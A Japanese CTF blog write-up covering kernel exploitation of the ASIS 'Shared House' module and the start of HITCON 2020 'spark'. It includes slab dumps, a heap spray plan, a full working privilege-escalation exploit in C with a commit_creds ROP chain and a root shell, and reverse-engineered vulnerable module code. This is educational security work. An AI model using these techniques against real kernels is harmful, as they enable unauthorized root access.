    ktype = 0xffffffff81c35ac0 <__entry_text_end+214374>, sd = 0xffff88800eb62a18, kref = {refcount = {refs = {counter = 1}}}, state_initialized = 1, state_in_sysfs = 1, state_add_uevent_sent = 1,
    state_remove_uevent_sent = 0, uevent_suppress = 0}, remote_node_defrag_ratio = 4294967264, useroffset = 15, usersize = 251665336, node = {0xffff88800f001bb8, 0xffffffff8110f830 <audit_add_watch+320>,
    0x4000000000, 0xffff88800f000f00, 0x0 <fixed_percpu_data>, 0x0 <fixed_percpu_data>, 0x0 <fixed_percpu_data>, 0x0 <fixed_percpu_data>, 0x201e0 <ftrace_stacks+6784>, 0x40000000, 0x5 <fixed_percpu_data+5>,
    0x2000000020, 0x1e00000000, 0x8000000080, 0x80, 0x1 <fixed_percpu_data+1>, 0x0 <fixed_percpu_data>, 0x800000020, 0x0 <fixed_percpu_data>, 0xffffffff81b01e23 <ieee80211_tdls_build_mgmt_packet_data+307>,
    0xffff88800f001d60, 0xffff88800f001b60, 0xffffffff81b01e23 <ieee80211_tdls_build_mgmt_packet_data+307>, 0xffff88800f001d78, 0xffff88800f001b78, 0xffff88800f1d8378, 0xffff88800f1d8360,
    0xffffffff81c35ac0 <__entry_text_end+214374>, 0xffff88800eb63aa0, 0x700000001, 0xfffffffe0, 0xffff88800f001cb8, 0xffff88800f001cb8, 0xffffffff8110f830 <audit_add_watch+320>, 0x2000000000,
    0xffff88800f000f40, 0x0 <fixed_percpu_data>, 0x0 <fixed_percpu_data>, 0x0 <fixed_percpu_data>, 0x0 <fixed_percpu_data>, 0x201c0 <ftrace_stacks+6752>, 0x40000000, 0x5 <fixed_percpu_data+5>, 0x1000000010,
    0x1e00000000, 0x10000000100, 0x100, 0x1 <fixed_percpu_data+1>, 0x0 <fixed_percpu_data>, 0x800000010, 0x0 <fixed_percpu_data>, 0xffffffff81b01e18 <ieee80211_tdls_build_mgmt_packet_data+296>,
    0xffff88800f001e60, 0xffff88800f001c60, 0xffffffff81b01e18 <ieee80211_tdls_build_mgmt_packet_data+296>, 0xffff88800f001e78, 0xffff88800f001c78, 0xffff88800f1d8378, 0xffff88800f1d8360,
    0xffffffff81c35ac0 <__entry_text_end+214374>, 0xffff88800eb64b28, 0x700000001, 0xfffffffe0, 0xffff88800f001db8}}

offsetが64になっているため各objectの0byte目にnextのpointerが入ることが分かる。実際に見てみると以下のとおり。

freelist.sh
(gdb) p/x *(struct kmem_cache_cpu*)(0x20200 + $gs_base)
$3 = {
  freelist = 0xffff88800e666100,
  tid = 0x108b,
  page = 0xffffea0000399980
}
(gdb) x/50gx 0xffff88800e666100
0xffff88800e666100:     0xffff88800e666140      0x00000021646c726f
0xffff88800e666110:     0x0000000000000000      0x0000000000000000
0xffff88800e666120:     0x0000000000000000      0x0000000000000000
0xffff88800e666130:     0x0000000000000000      0x0000000000000000
0xffff88800e666140:     0xffff88800e666180      0x00e800000000c7c7
0xffff88800e666150:     0x3110c48348000000      0x003d8b48c35d5bc0
0xffff88800e666160:     0x8d74ff8548000000      0x000000153be8558b
0xffff88800e666170:     0xe8f0758b48827700      0x0fc0854800000000
0xffff88800e666180:     0xffff88800e6661c0      0xc600000000158b48
0xffff88800e666190:     0x3d8b48b2eb000204      0x0fff854800000000
0xffff88800e6661a0:     0x0000e8ffffff5084      0x00000005c7480000
0xffff88800e6661b0:     0x4890eb0000000000      0x45e9ffffffeac0c7
0xffff88800e6661c0:     0xffff88800e666200      0x55ffffff39e9ffff
0xffff88800e6661d0:     0x000000c1c748f631      0xc74800000001ba00
0xffff88800e6661e0:     0xe5894800000000c7      0xc08500000000e853
0xffff88800e6661f0:     0x000000c7c7481374      0x00e8fffffff0bb00
0xffff88800e666200:     0xffff88800e666240      0x00c7c74800000000
0xffff88800e666210:     0x00000000e8000000      0x01ba00000000358b
0xffff88800e666220:     0x0000c7c748000000      0x00000005c7480000
0xffff88800e666230:     0x0000e80000000000      0x2374c389c0850000
0xffff88800e666240:     0xffff88800e666280      0x000000e8fffffff0
0xffff88800e666250:     0xbe000000003d8b00      0x000000e800000001
0xffff88800e666260:     0x0000c2c7481aeb00      0x000000c6c7480000
0xffff88800e666270:     0x00000000c7c74800      0x5bd88900000000e8
0xffff88800e666280:     0xffff88800e6662c0      0x0000e8e589480000

freelistのランダマイズもされていないし、ポインタの難読化もされていない。良さそう。

 

5: kernbase leak

subprocess_info

参考.3のkernel構造体集を参照して、 kmalloc-128 以下でkernbaseがleakできるものを探す。但し、その構造体を利用する際に本モジュールのobjectとvictim objectが隣接するように新規ページ(スラブ)を利用するように調節( heap spray )する必要があり、leakに使う構造体と同一サイズのスラブを利用して任意の回数allocできる構造体も存在していなければならない(しかも、それはsetxattrのように確保と同一パスで解放されてはならない)。

この条件のもとで、sprayにはstruct msg_msg( kmalloc-64 ~)を、kernbase leakにはstruct subprocess_info( kmalloc-128 )を利用できる。

 

こいつは、参考.1の通りsocket(22,AF_INET,0)のように呼んだ時に__sock_create()から呼ばれるrequest_module()(実体はcall_modprobe()またはその内側で呼ばれるcall_usermodehelper_setup())において確保される。この際に、work.funccall_usermodehelper_exec_work()が入るためこれがleak可能となる。

ernel/umh.c
	struct subprocess_info *sub_info;
	sub_info = kzalloc(sizeof(struct subprocess_info), gfp_mask);
	if (!sub_info)
		goto out;

	INIT_WORK(&sub_info->work, call_usermodehelper_exec_work);

また、同一パスでcall_usermodehelper_exec()において最終的にcall_usemodehelper_freeinfo()が呼ばれ、info->cleanup(info)を呼んだ後に解放される。

kernel/umh.c
static void call_usermodehelper_freeinfo(struct subprocess_info *info)
{
	if (info->cleanup)
		(*info->cleanup)(info);
	kfree(info);
}

 

まずはこの構造体を使ってleakを行う。具体的にはsubprocess_infoの先頭から 0x18 byte目に先程の関数ポインタが入っているから、これをleakする。 total size0x60(<0x80) ゆえ、 kmalloc-128 に入る。

f:id:smallkirby:20210213230018p:plain

struct subprocess_info

heap spray

NULL-byte overflowして書き換えるvictimが隣接したobjectになるように、新しいスラブ(ページ)を使いたい。まずは root で該当スラブの初期状態を確認。

slab-info.sh
/ # cat /proc/slabinfo | grep ^kmalloc-128
kmalloc-128          256    256    128   32    1 : tunables    0    0    0 : slabdata      8      8      0

あれ、この段階ですでにスラブは満杯になってるんかな。と思ったけど、実際にデバッグしてみると0x5回allocした時に新たにスラブが作られた。まあ正直完全に新品である必要はないから、1スラブあたりの最大オブジェクト数である0x20回+αくらいallocしておいたら良いと思う。まあ今回は0x5回+αの0xF回allocしたところいい感じになった。

f:id:smallkirby:20210213230054p:plain

 

これで、object丁度のサイズを_write()すればNULL-byte overflowが起こりfreelistは以下のようになる。

f:id:smallkirby:20210213230227p:plain

 

freelistのnext( 0xFFFF80800E69B100 )が自分自身を指していることが分かる。ここですぐにsubprocess_infoを割り当ててしまうと、subprocess_infoの先頭ワードがnextとなり、ヒープが崩壊してしまう。よって、一度noteを解放してmsgsnd()でobject1つ分をパディングした後、循環するobject( 0xFFFF80800E69B100 )にnoteを書く。その際に先頭1wordをNULLにしておくことで、freelistはNULLになり、次のkmem_cache_alloc()時(freelistにはnoteをallocした時点でnoteのアドレスが書き込まれているため、厳密には次の次)には 正常に新しいスラブを確保してくれる ことになる。

socket()を呼び出す直前のスラブの状態は以下のとおりである。freelistにはnoteのアドレスが入っているものの、noteの先頭が0であるから、次のsocket呼び出し時にsubprocess_infoをallocする同時に新しいスラブが割り当てられる。実際、以下のようになって、新しいスラブになっていることが分かる(下3nibbleが000)。

f:id:smallkirby:20210213230151p:plain

 

あとはnoteとオーバーラップしたsubprocess_infoを読めばkernbaseのleak完了。

 

6: RIPを取る

cleanup + usefaultfd (FAIL)

前述したように、subprocess_infoは解放時にsubprocess_info.cleanup()をするため、これを上書きすることができればRIPが取れる。方法として参考.1ではsubprocess_infoがページをまたがって確保されるようにし、前者と後者それぞれにuserfaultfdを設定することで上手くcleanupが任意の値に操作できるようにしている。但し、 kmalloc-128 を利用する以上はオブジェクトはページをまたがって確保されることはない。

よって、先程freelistがNULLになるように調整したが、これをuserlandのmmapしたアドレスを指すようにしたらfreelistがユーザ領域を指すようになって自由にわいわいできるんじゃないかと考えた。けど、フォルトで死んだ。SMAP無効でKPTI無効(SMEPのみ有効)な場合も、こういうのってダメなんだっけ?????

f:id:smallkirby:20210213230255p:plain

unable to handle kernel page request

 

諦めて素直にseq_operations

素直に生きましょう。

seq_operationskmalloc-32 に入る。

kmalloc-32.sh
/ # cat /proc/slabinfo | grep ^kmalloc-32
kmalloc-32           512    512     32  128    1 : tunables    0    0    0 : slabdata      4      4      0

1スラブあたり0x80オブジェクトだから、まぁこれ+αくらいallocしておけば大丈夫そう。以下が0x80回allocした後の図。

f:id:smallkirby:20210213230324p:plain

 

NULL-byte overflowでnextを書き換えることを考えると、 0xffff88800e6a1420 となっているところを書き換えたい。というわけで、allocする回数を微調整しつつ、victimとなるseq_operationsをallocする直前の状態が以下のとおり。

f:id:smallkirby:20210213230350p:plain

 

0xffff88800e692400noteが割り当てられているが、freelistからも指されていることが分かる。この際、 noteの中身をNULLにしておかないと、それがfreelistの次のobjectだと認識されてヒープが壊れる ので、NULLにしておく。

(author's writeupではkernel heapをleakしていたが、この方法でやれば heapのleakは必要ない )

 

これで、read()をすればRIPが取れる。

 

 

7: ROP chain

あとは、ROPで終わり。ROPをするためにはRSPを制御できる必要がある。SPを制御できるガジェットは以下の通りで、この中から下1nibbleが8-alignされている適当なものを選ぶ。(適当と言っても、この内9割くらいは実際に見てみると 0xcc 命令に置き換わっている、なんで)

sp_gad.sh
$ rp++ -f ./vmlinux --unique -r1 | grep "mov esp"
0xffffffff81cb0980: mov esp, 0x0000002C ; call rax ;  (1 found)
0xffffffff81e312bb: mov esp, 0x00F461F3 ; retn 0x901F ;  (1 found)
0xffffffff814cd63b: mov esp, 0x01000005 ; ret  ;  (1 found)
0xffffffff810589b3: mov esp, 0x01428DD2 ; ret  ;  (1 found)
0xffffffff812326ba: mov esp, 0x09B8550B ; retn 0x850F ;  (1 found)
0xffffffff8104a73a: mov esp, 0x09E0D3C9 ; retn 0x8966 ;  (1 found)
0xffffffff81e5a1ed: mov esp, 0x0A6805DD ; ret  ;  (1 found)
0xffffffff81d95b1e: mov esp, 0x0B0AAD86 ; retn 0x962F ;  (1 found)
0xffffffff81dbc583: mov esp, 0x0F0B0C00 ; retn 0xC095 ;  (1 found)
0xffffffff8148dc49: mov esp, 0x0F4881A6 ; retn 0x66C3 ;  (1 found)
0xffffffff81dec325: mov esp, 0x131D832C ; ret  ;  (1 found)
0xffffffff81e3d509: mov esp, 0x144714DE ; ret  ;  (1 found)
0xffffffff81e55754: mov esp, 0x15CE2A03 ; ret  ;  (1 found)
0xffffffff81dff9cc: mov esp, 0x15FF851B ; retn 0x7EB1 ;  (1 found)
0xffffffff81dd79b7: mov esp, 0x167C22B7 ; retn 0x9847 ;  (2 found)
0xffffffff81dc56bb: mov esp, 0x1BD15533 ; call rcx ;  (1 found)
(snipped...)

 

 

あとはいい感じにchainを組む。今回はno-KPTI。 iretq以下の通り

iretq.c
PROTECTED-MODE:
    IF NT = 1
        THEN GOTO TASK-RETURN; (* PE = 1, VM = 0, NT = 1 *)
    FI;
    IF OperandSize = 32
        THEN
                EIP ← Pop();
                CS ← Pop(); (* 32-bit pop, high-order 16 bits discarded *)
                tempEFLAGS ← Pop();
        ELSE (* OperandSize = 16 *)
                EIP ← Pop(); (* 16-bit pop; clear upper bits *)
                CS ← Pop(); (* 16-bit pop *)
                tempEFLAGS ← Pop(); (* 16-bit pop; clear upper bits *)
    FI;
    IF tempEFLAGS(VM) = 1 and CPL = 0
        THEN GOTO RETURN-TO-VIRTUAL-8086-MODE;
        ELSE GOTO PROTECTED-MODE-RETURN;
    FI;
TASK-RETURN: (* PE = 1, VM = 0, NT = 1 *)
    SWITCH-TASKS (without nesting) to TSS specified in link field of current TSS;
    Mark the task just abandoned as NOT BUSY;
    IF EIP is not within CS limit
        THEN #GP(0); FI;
END;

 

8: exploit

exploit.c
#define _GNU_SOURCE
#include <string.h>
#include <stdio.h>
#include <fcntl.h>
#include <stdint.h>
#include <unistd.h>
#include <assert.h>
#include <stdlib.h>
#include <signal.h>
#include <poll.h>
#include <pthread.h>
#include <err.h>
#include <errno.h>
#include <sched.h>
#include <linux/bpf.h>
#include <linux/filter.h>
#include <linux/userfaultfd.h>
#include <linux/prctl.h>
#include <sys/syscall.h>
#include <sys/ipc.h>
#include <sys/msg.h>
#include <sys/prctl.h>
#include <sys/ioctl.h>
#include <sys/mman.h>
#include <sys/types.h>
#include <sys/xattr.h>
#include <sys/socket.h>
#include <sys/uio.h>


// commands
#define DEV_PATH "/dev/note"   // the path the device is placed

// constants
#define PAGE 0x1000
#define FAULT_ADDR 0xdead0000
#define FAULT_OFFSET PAGE
#define MMAP_SIZE 4*PAGE
#define FAULT_SIZE MMAP_SIZE - FAULT_OFFSET
// (END constants)


// utils
#define WAIT getc(stdin);
#define ulong unsigned long
#define uint unsigned int
#define scu static const ulong
#define NULL (void*)0
#define errExit(msg) do { perror(msg); exit(EXIT_FAILURE); \
                        } while (0)
#define KMALLOC(qid, msgbuf, N) assert(sizeof(msgbuf.mtext) > 0x30); \
                        for(int ix=0; ix!=N; ++ix){\
                          if(msgsnd(qid, &msgbuf, sizeof(msgbuf.mtext) - 0x30, 0) == -1) errExit("KMALLOC");}
ulong user_cs,user_ss,user_sp,user_rflags;
struct pt_regs {
	ulong r15; ulong r14; ulong r13; ulong r12; ulong bp;
	ulong bx;  ulong r11; ulong r10; ulong r9; ulong r8;
	ulong ax; ulong cx; ulong dx; ulong si; ulong di;
	ulong orig_ax; ulong ip; ulong cs; ulong flags;
  ulong sp; ulong ss;
};
void print_regs(struct pt_regs *regs)
{
  printf("r15: %lx r14: %lx r13: %lx r12: %lx\n", regs->r15, regs->r14, regs->r13, regs->r12);
  printf("bp: %lx bx: %lx r11: %lx r10: %lx\n", regs->bp, regs->bx, regs->r11, regs->r10);
  printf("r9: %lx r8: %lx ax: %lx cx: %lx\n", regs->r9, regs->r8, regs->ax, regs->cx);
  printf("dx: %lx si: %lx di: %lx ip: %lx\n", regs->dx, regs->si, regs->di, regs->ip);
  printf("cs: %lx flags: %lx sp: %lx ss: %lx\n", regs->cs, regs->flags, regs->sp, regs->ss);
}
void NIRUGIRI(void)
{
  char *argv[] = {"/bin/sh",NULL};
  char *envp[] = {NULL};
  execve("/bin/sh",argv,envp);
}
// should  compile with  -masm=intel
static void save_state(void) {
  asm(
      "movq %0, %%cs\n"
      "movq %1, %%ss\n"
      "movq %2, %%rsp\n"
      "pushfq\n"
      "popq %3\n"
      : "=r" (user_cs), "=r" (user_ss), "=r" (user_sp), "=r" (user_rflags) :: "memory"
   );
}

static void shellcode(void){
  asm(
    "xor rdi, rdi\n"
    "mov rbx, QWORD PTR [rsp+0x50]\n"
    "sub rbx, 0x244566\n"
    "mov rcx, rbx\n"
    "call rcx\n"
    "mov rdi, rax\n"
    "sub rbx, 0x470\n"
    "call rbx\n"
    "add rsp, 0x20\n"
    "pop rbx\n"
    "pop r12\n"
    "pop r13\n"
    "pop r14\n"
    "pop r15\n"
    "pop rbp\n"
    "ret\n"
  );
}
// (END utils)

// (shared_house)
#define SH_ALLOC  0xC12ED001
#define SH_FREE   0xC12ED002
#define SH_WRITE  0xC12ED003
#define SH_READ   0xC12ED004

#define FAIL1     0xffffffffffffffa
#define FAIL2     0xfffffffffffffff

struct query{
  ulong size;
  char *buf;
};

#define INF 1<<31
int shfd;
int statfd;
uint current_size = INF;


void _alloc(uint size){
  printf("[+] alloc: %x\n", size);
  assert(size <= 0x80);
  struct query q = {
    .size = size
  };
  int tmp = ioctl(shfd, SH_ALLOC, &q);
  assert(tmp!=FAIL1 && tmp!=FAIL2);
  current_size = size;
}

void _free(void){
  printf("[+] free\n");
  assert(current_size != INF);
  struct query q = {
  };
  int tmp = ioctl(shfd, SH_FREE, &q);
  assert(tmp!=FAIL1 && tmp!=FAIL2);
  current_size = INF;
}

void _write(char *buf, uint size){
  printf("[+] write: %p %x\n", buf, size);
  assert(current_size != INF && size <= current_size);
  assert(current_size != -1);
  struct query q = {
    .buf = buf,
    .size = size
  };
  int tmp = ioctl(shfd, SH_WRITE, &q);
  assert(tmp!=FAIL1 && tmp!=FAIL2);
}

void _read(char *buf, uint size){
  printf("[+] read: %p %x\n", buf, size);
  assert(current_size != INF && size <= current_size);
  struct query q = {
    .buf = buf,
    .size = size
  };
  int tmp = ioctl(shfd, SH_READ, &q);
  assert(tmp!=FAIL1 && tmp!=FAIL2);
}
// (END shared_house)

/*********** MAIN *********************************/

struct _msgbuf80{
  long mtype;
  char mtext[0x80];
};

void gen_chain(ulong **a, const ulong kernbase)
{
  scu pop_rdi = 0x11c353;
  scu prepare_kernel_cred = 0x69e00;
  scu rax2rdi_rep_pop_rbp = 0x1877F; // 0xffffffff8101877f: mov rdi, rax ; rep movsq  ; pop rbp ; ret  ;  (1 found)
  scu commit_creds = 0x069c10; // 0xffffffff81069c10
  scu pop_rcx = 0x368fa; // 0xffffffff810368fa: pop rcx ; ret  ;  (53 found)
  scu pop_r11 = 0xe12090; // 0xffffffff81e12090: pop r11 ; ret  ;  (2 found)
  scu swapgs_pop_rbp = 0x03ef24; // 0xffffffff8103ef24:       0f 01 f8     swapgs
  scu iretq_pop_rbp = 0x1d5c6; // 0xffffffff8101d5c6:   48 cf   iretq

  save_state();

  *a++ = pop_rdi + kernbase;
  *a++ = 0;
  *a++ = prepare_kernel_cred + kernbase;
  *a++ = pop_rcx + kernbase;
  *a++ = 0;
  *a++ = rax2rdi_rep_pop_rbp + kernbase;
  *a++ = 0;
  *a++ = commit_creds + kernbase;

  *a++ = swapgs_pop_rbp + kernbase;
  *a++ = 0;
  *a++ = iretq_pop_rbp + kernbase;
  *a++ = &NIRUGIRI;
  *a++ = user_cs;
  *a++ = user_rflags;
  *a++ = user_sp;
  *a++ = user_ss;

  *a++ = 0xdeadbeef; // unreachable
}

int main(int argc, char *argv[]) {
  char buf[0x1000];
  shfd = open(DEV_PATH, O_RDWR);
  assert(shfd >= 0);

  int qid = msgget(IPC_PRIVATE, 0666 | IPC_CREAT);
  if(qid == -1) errExit("msgget");
  struct _msgbuf80 msgbuf = { .mtype = 1 };
  KMALLOC(qid, msgbuf, 0xF);

  _alloc(0x80);
  memset(buf, 'X', 0x80);
  _write(buf, 0x80); // vuln

  _free();
  KMALLOC(qid, msgbuf, 0x1);
  memset(buf, 0, 0x8);
  _alloc(0x80);
  _write(buf, 0x80);
  assert(socket(22, AF_INET, 0) < 0); // overlap subprocess_info
  _read(buf, 0x80);
  const ulong call_usermodehelper_exec_work = ((ulong*)buf)[0x18/sizeof(ulong)];
  printf("[!] call_usermodehelper_exec_work: 0x%lx\n", call_usermodehelper_exec_work);
  const ulong kernbase = call_usermodehelper_exec_work - (0xffffffff81060160 - 0xffffffff81000000);
  printf("[!] kernbase: 0x%lx\n", kernbase);
  _free();

  for(int ix=0; ix!=0x82; ++ix){
    statfd = open("/proc/self/stat", O_RDONLY);
    assert(statfd > 0);
  }
  _alloc(0x20);
  memset(buf, 'x', 0x20);
  _write(buf, 0x20);  // vuln
  _free();
  statfd = open("/proc/self/stat", O_RDONLY); // dummy
  _alloc(0x20);
  statfd = open("/proc/self/stat", O_RDONLY); // victim

  *((ulong*)buf) = kernbase + 0x05832b;
  _write(buf, 0x20);

  // prepare chain
  const ulong gadstack = 0x83C389C0;
  const char *maddr = mmap((void*)(gadstack & ~0xFFF), 4*PAGE, PROT_READ | PROT_WRITE | PROT_EXEC, MAP_PRIVATE | MAP_ANONYMOUS | MAP_FIXED, -1, 0);
  printf("[+] mmapped @ %p\n", maddr);
  const char *chain = maddr + (gadstack & 0xFFF);
  gen_chain(chain, kernbase);

  // NIRUGIRI
  read(statfd, buf, 1);

  return 0;
}

 

 

 

9: アウトロ

f:id:smallkirby:20210213230408p:plain

ASIS{春泥棒}

もうすぐ春ですね。

 

 

 

10: symbols without KASLR

symbols.txt
ioctl: 0xffffffffc0000000
kmem_cache_alloc: 0xffffffff81111610
__kmalloc: 0xffffffff81111500
kmalloc_slab: 0xffffffff810eda10
kmalloc-128's cpu_slab: 0x20240
kmalloc-32's cpu_slab: 0x201e0
prepare_kernel_cred: 0xffffffff81069e00
commit_creds: 0xffffffff81069c10

シンボル__per_cpu_offsetがなかったからSMPじゃないと思ったけど、モジュール情報ではSMPになってるしどうなんだろうなぁ。(因みに__per_cpu_offsetが無い時のCPU固有アドレスは、$gs_base + CPU固有ポインタで計算される)

 

 

11: 参考

1: CVE-2016-6187のexploit

https://duasynt.com/blog/cve-2016-6187-heap-off-by-one-exploit

2: author's writeup

https://ptr-yudai.hatenablog.com/entry/2020/07/06/000622#354pts-Shared-House-7-solves

3: author's portfolio

https://youtu.be/kgeG9kXFb0A

4: kernelpwnで使える構造体refs

https://ptr-yudai.hatenablog.com/entry/2020/03/16/165628

5: ニルギリ

https://youtu.be/yvUvamhYPHw

 

 

 

 

続く...

 

 

【pwn 44.0】spark - HITCON CTF 2020 (kernel exploit)

keywords

kernel exploit / slub alocator / slubcache / setxattr / shellcode

 

 

この世で13番目に嫌いなことは、やり過ぎなinline化。

どうも、ニートです。

 

1: イントロ

いつぞや開催された HITCON CTF 2020 。そのpwn問題である spark の記録。最近はブログを書くモチベとCTFをするモチベがどちらも停滞してきている。このままではレモンと思い、ここ1週間はkernel pwn強化月間としている。自分自身kernelのことは全然わからないメロンのため同じところをぐるぐるしてやる気が崩壊してしまうこともあるが、プイプイモルカーの気持ちを考えながら何とかやっている。

本問題は割と典型っぽいkernelヒープのUAF問題ではあると思うのだが、スラブアロケタの知識が曖昧だったため非常に手こずってしまいスイカになった。1.5年前ならばTSGの諸先輩方に気楽に質問をすることができたのだが、最近解くような問題は2・3分で全体像が分かるようなものは少ないため、質問される側の負担を考えるとなかなか質問しにくいという状況である。よって何らかのドキュメントなり資料なりを検索することになるが、言ってることが大まかすぎたり問題の設定にあってなかったりでこれまた参考にならないことが多い。結局の所、ソースを一から読むに越したことはないというごく当たり前の事実に帰着し、りんごになった。

尚、最終的なPoCは@c0m0r1PoCを参考にしている。参考にしていると言うか、もうほとんどなぞっているだけである。オリジナルが見たい方はリンクを辿ってください。

 

2: 問題概要

配布物

dist.sh
spark.ko: LKM. 
$ file ./spark.ko
./spark.ko: ELF 64-bit LSB relocatable, x86-64, version 1 (SYSV), BuildID[sha1]=31e7889f4046c74466bd2bc4f13a7f18a7e2a8e1, not stripped
$ modinfo ./spark.ko
filename:       /home/wataru/Documents/ctf/hitcon2020/spark/work/./spark.ko
license:        GPL
author:         david942j @ 217
srcversion:     982767236753E40E8EA6141
depends:
retpoline:      Y
intree:         Y
name:           spark
vermagic:       5.9.11 SMP mod_unload

run.sh: QEMU run script.
  -append "console=ttyS0 kaslr panic=1" \
SMEP/SMAPは無効 KPTI無効 シングルコア

initramfs.cpio.gz: absolutely normal image

demo.c: demo program using the LKM.

bzImage: kernel image.
$ cat /proc/version
Linux version 5.9.11 (david942j@217-x) (gcc (Ubuntu 7.5.0-3ubuntu1~18.04) 7.5.0, GNU ld (GNU Binutils for Ubuntu) 2.30) #1 SMP Thu Nov 26 16:29:45 CST 2020

案の定ソースコードなんて配ってくれないため、自前kernelを使うことができず、debuginfoなしでやるしかない。

 

モジュール

結構リバースがめんどくさかった。

/dev/nodeというmiscデバイスを追加し、openするごとにノードを作成する。作成したノードは互いに重み付きリンクを張ることができる。リンクを貼ったノードによってグラフを作成し、ioctlで指定したノード間の距離をダイクストラ法によって算出して結果を返してくれるモジュールである。

node-fops.sh
pwndbg> p *((struct miscdevice*)0xffffffffc0004000)->fops
$3 = {
  owner = 0xffffffffc0004080,
  llseek = 0xffffffff812e8a90 <ext4_resize_fs+2480>,
  read = 0x0 <fixed_percpu_data>,
  write = 0x0 <fixed_percpu_data>,
  read_iter = 0x0 <fixed_percpu_data>,
  write_iter = 0x0 <fixed_percpu_data>,
  iopoll = 0x0 <fixed_percpu_data>,
  iterate = 0x0 <fixed_percpu_data>,
  iterate_shared = 0x0 <fixed_percpu_data>,
  poll = 0x0 <fixed_percpu_data>,
  unlocked_ioctl = 0xffffffffc0002050,
  compat_ioctl = 0x0 <fixed_percpu_data>,
  mmap = 0x0 <fixed_percpu_data>,
  mmap_supported_flags = 0,
  open = 0xffffffffc0002020,
  flush = 0x0 <fixed_percpu_data>,
  release = 0xffffffffc0002000,
  fsync = 0x0 <fixed_percpu_data>,
  fasync = 0x0 <fixed_percpu_data>,
  lock = 0x0 <fixed_percpu_data>,
  sendpage = 0x0 <fixed_percpu_data>,
  get_unmapped_area = 0x0 <fixed_percpu_data>,
  check_flags = 0x0 <fixed_percpu_data>,
  flock = 0x0 <fixed_percpu_data>,
  splice_write = 0x0 <fixed_percpu_data>,
  splice_read = 0x0 <fixed_percpu_data>,
  setlease = 0x0 <fixed_percpu_data>,
  fallocate = 0x0 <fixed_percpu_data>,
  show_fdinfo = 0x0 <fixed_percpu_data>,
  copy_file_range = 0x0 <fixed_percpu_data>,
  remap_file_range = 0x0 <fixed_percpu_data>,
  fadvise = 0x0 <fixed_percpu_data>
}

 

構造体

モジュールで利用する構造体のうち重要なものは以下のとおり。

structure.c
struct edge{
  struct edge *next_edge;
  struct edge *prev_edge;
  struct node_struct *node_to;
  ulong weight;
};

struct node_info{
  ulong cur_edge_idx;
  ulong capacity;
  struct node_struct **nodes;
};

struct node_struct{
  ulong index;
  long refcnt;
  char mutex_state[0x20];
  ulong is_finalized;
  char mutex_nb[0x20];
  ulong num_edge;
  struct edge *prev_edge;
  struct edge *next_edge;
  ulong finalized_idx;
  struct node_info *info;
};

node_struct構造体は、/dev/nodeをopenするごとにkmem_cache_alloc_trace()で確保される0x80サイズのノード実体である。各ノードはedge構造体のリストを持っており、これがノード間のリンクを表現する。ノードに対してはioctl(finalize)という操作が可能であり、これによってそのノードを始点として深さ優先探索をすることでグラフを作成する。探索された順がnode_struct.finalized_idxであり、各ノードはnode_struct.info->nodesに格納される。

 

 

3: Vulns

2つのバグがある。

refcntのインクリメント忘れ

node_struct.refcntによってそのノードを参照しているオブジェクト数を管理している。refcntが1であるときにcloseをすると、そのノードから生えている全てのedgenode自身をkfree()で解放する。

spark_node_put.c
  if (refcnt == 1) {
    info = node->info;
                    /* free info */
    if (info != (node_info *)0x0) {
      uVar4 = 1;
      if (1 < (ulong)info->cur_edge_idx) {
        do {
          refcnt = refcnt + 1;
          spark_node_put(info->nodes[uVar4]);
          uVar4 = SEXT48(refcnt);
        } while (uVar4 < (ulong)info->cur_edge_idx);
      }
      kfree(info->nodes);
    }
    peVar3 = node->prev_edge->next_edge;
    peVar2 = node->prev_edge;
    while (peVar1 = peVar3, peVar2 != (edge *)&node->prev_edge) {
                    /* free all edges */
      kfree(peVar2);
      peVar3 = peVar1->next_edge;
      peVar2 = peVar1;
    }
                    /* free node */
    kfree(node);
    return;
  }

だが、refcntのインクリメントがノードの作成時のみ行われ、 リンクの作成時には行われていない

spark_node_link.c
undefined4 spark_node_link(node_struct *node1,node_struct *node2)

{
  undefined4 uVar1;
                    /* node1.index should be less than node2.index */
  if (node1->index < node2->index) {
    mutex_lock(node2->mutex_state);
    mutex_lock(node1->mutex_state);
    uVar1 = 0xffffffea;
    if ((*(int *)&node1->is_finalized == 0) && (*(int *)&node2->is_finalized == 0)) {
      spark_node_push(node1,node2);
      spark_node_push(node2,node1);
      uVar1 = 0;
    }
    mutex_unlock(node1->mutex_state);
    mutex_unlock(node2->mutex_state);
    return uVar1;
  }
  return 0xffffffea;
}

 

このため、ノードをcloseするとそのノードを参照しているedgeが存在しているのにノードがkfree()されてしまう。リンクされていたノードからはそのリンクを辿れてしまうため、既にkfree()されたオブジェクトに対するfloating pointer(dungling pointerっていうのかな)が存在することになる。kernel heap UAFである。

 

ダイクストラにおけるOOB

グラフを作成( finalize )し、そのグラフを利用してノード間の距離を算出する際に、各ノードの暫定最短距離を保存するのにdistance arrayを確保している。普通のダイクストラのように始点ノードからBFSでdistanceを更新していく。この際distanceに対するアクセスはnode_struct.finalized_idxをインデックスとして利用している。

spark_graph_query.c
    do {
                    /* この0xFFFFF...は取り敢えずダイクストラしたことのtmpマーカーかな */
      *cur_distance_p = 0xffffffffffffffff;
      next_edge_p = cur_node_p->prev_edge;
                    /* 結局list_for_each_entry()をやっている */
      while ((edge *)&cur_node_p->prev_edge != next_edge_p
                    /* 幅優先探索 */) {
        known_distance = distances[next_edge_p->node_to->finalized_idx];
                    /* もし探索済みでなく、より最短経路であれば更新 */
        if ((known_distance != 0xffffffffffffffff) && (uVar4 = next_edge_p->weight + counter, uVar4 < known_distance)) {
          /*** VULN!! : OOB ***/
          distances[next_edge_p->node_to->finalized_idx] = uVar4;
        }
        next_edge_p = next_edge_p->next_edge;
      }
      cur_distance_p = cur_distance;
      ppnVar3 = a;
      if (num_max_nodes != 0) {
        iVar2 = 0;
        known_distance = 0x7fffffffffffffff;
        uVar4 = 0;
        counter = start;
        do {
          uVar1 = distances[uVar4];
          if ((uVar1 < known_distance) && (uVar1 != 0xffffffffffffffff)) {
            counter = uVar4;
            known_distance = uVar1;
          }
          iVar2 = iVar2 + 1;
          uVar4 = SEXT48(iVar2);
        } while (uVar4 < num_max_nodes);
        if (end_idx == counter) goto LAB_0010097c;
        cur_distance_p = distances + counter;
        ppnVar3 = nodes + counter;
      }
      counter = *cur_distance_p;
      cur_node_p = *ppnVar3;
    } while ((counter & 0x7fffffffffffffff) != 0x7fffffffffffffff);

 

